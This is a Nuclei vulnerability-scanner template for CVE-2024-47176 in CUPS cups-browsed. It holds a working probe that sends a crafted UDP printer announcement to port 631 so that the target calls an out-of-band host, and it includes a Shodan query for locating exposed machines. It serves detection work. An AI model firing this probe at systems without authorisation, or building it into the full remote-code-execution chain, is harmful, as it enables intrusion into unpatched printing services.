CUPS - Remote Code Execution

id: CVE-2024-47176

info:
  name: CUPS - Remote Code Execution
  author: princechaddha
  severity: high
  description: |
    CUPS is a standards-based, open-source printing system, and cups-browsed contains network printing functionality including, but not limited to, auto-discovering print services and shared printers. cups-browsed binds to INADDR_ANY-631, causing it to trust any packet from any source, and can cause the Get-Printer-Attributes IPP request to an attacker controlled URL.
    Due to the service binding to *-631 ( INADDR_ANY ), multiple bugs in cups-browsed can be exploited in sequence to introduce a malicious printer to the system. This chain of exploits ultimately enables an attacker to execute arbitrary commands remotely on the target machine without authentication when a print job is started. This poses a significant security risk over the network. Notably, this vulnerability is particularly concerning as it can be exploited from the public internet, potentially exposing a vast number of systems to remote attacks if their CUPS services are enabled.
  impact: |
    Successful exploitation could allow an attacker to execute arbitrary code on the target system.
  remediation: |
    Apply the necessary patch or upgrade to a non-vulnerable version of CUPS.
  reference:
    - https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/
    - https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8
    - https://github.com/OpenPrinting/cups-browsed/blob/master/daemon/cups-browsed.c#L13992
    - https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47
    - https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
    cvss-score: 8.3
    cve-id: CVE-2024-47176
    cwe-id: CWE-1327
    epss-score: 0.50605
    epss-percentile: 0.98926
  metadata:
    verified: true
    shodan-query: "product:cups"
  tags: cve,cve2024,cups,udp,printer,oast,rce,vkev,intrusive,vuln

javascript:
  - pre-condition: |
      isUDPPortOpen(Host,Port);
    code: |
      let packet = bytes.NewBuffer();
      let printer_type = "00";
      let printer_state = "03";
      let printer_uri = `http://${oast}/printers/VulnPrinter`;
      let printer_location = "Office HQ";
      let printer_info = "Vulnerable Printer";
      let message = `${printer_type} ${printer_state} ${printer_uri} "${printer_location}" "${printer_info}"`;
      packet.WriteString(message)
      let c = require("nuclei/net");
      let conn = c.Open('udp', `${Host}:${Port}`);
      conn.SendHex(packet.Hex());

    args:
      Host: "{{Host}}"
      Port: 631
      oast: "{{interactsh-url}}"

    matchers:
      - type: word
        part: interactsh_request
        words:
          - "natural-language"
          - "VulnPrinter"
        condition: and

    extractors:
      - type: regex
        group: 1
        part: interactsh_request
        regex:
          - 'User-Agent:\s?(.*)'